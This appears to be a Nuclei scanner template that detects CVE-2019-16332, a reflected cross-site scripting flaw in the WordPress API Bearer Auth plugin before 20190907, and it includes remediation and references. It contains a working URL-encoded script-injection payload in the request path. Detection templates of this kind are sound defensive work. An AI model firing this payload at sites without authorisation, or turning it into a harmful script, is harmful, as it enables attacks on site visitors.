53 lines
1.9 KiB
YAML
53 lines
1.9 KiB
YAML
id: CVE-2019-16332
|
|
|
|
info:
|
|
name: WordPress API Bearer Auth <20190907 - Cross-Site Scripting
|
|
author: daffainfo
|
|
severity: medium
|
|
description: WordPress API Bearer Auth plugin before 20190907 contains a cross-site scripting vulnerability. The server parameter is not correctly filtered in swagger-config.yaml.php.
|
|
remediation: |
|
|
Update to the latest version of WordPress API Bearer Auth plugin (20190907 or later) to mitigate the vulnerability.
|
|
reference:
|
|
- https://plugins.trac.wordpress.org/changeset/2152730
|
|
- https://wordpress.org/plugins/api-bearer-auth/#developers
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-16332
|
|
- https://packetstormsecurity.com/files/154369/WordPress-API-Bearer-Auth-20181229-Cross-Site-Scripting.html
|
|
- https://wpvulndb.com/vulnerabilities/9868
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2019-16332
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00303
|
|
epss-percentile: 0.66258
|
|
cpe: cpe:2.3:a:api_bearer_auth_project:api_bearer_auth:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: api_bearer_auth_project
|
|
product: api_bearer_auth
|
|
framework: wordpress
|
|
tags: packetstorm,cve,cve2019,wordpress,xss,wp-plugin,auth
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/wp-content/plugins/api-bearer-auth/swagger/swagger-config.yaml.php?&server=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "</script><script>alert(document.domain)</script>"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4b0a00483046022100d23f60e2e12b1a9bb28eb4f2135b1b437e9be8b89279d6bce52a06e228e40558022100f3e8d340333c9020857a003e644292f4d98f5619f07ada7c12b6b2a62ffa590f:922c64590222798bb761d5b6d8e72950
|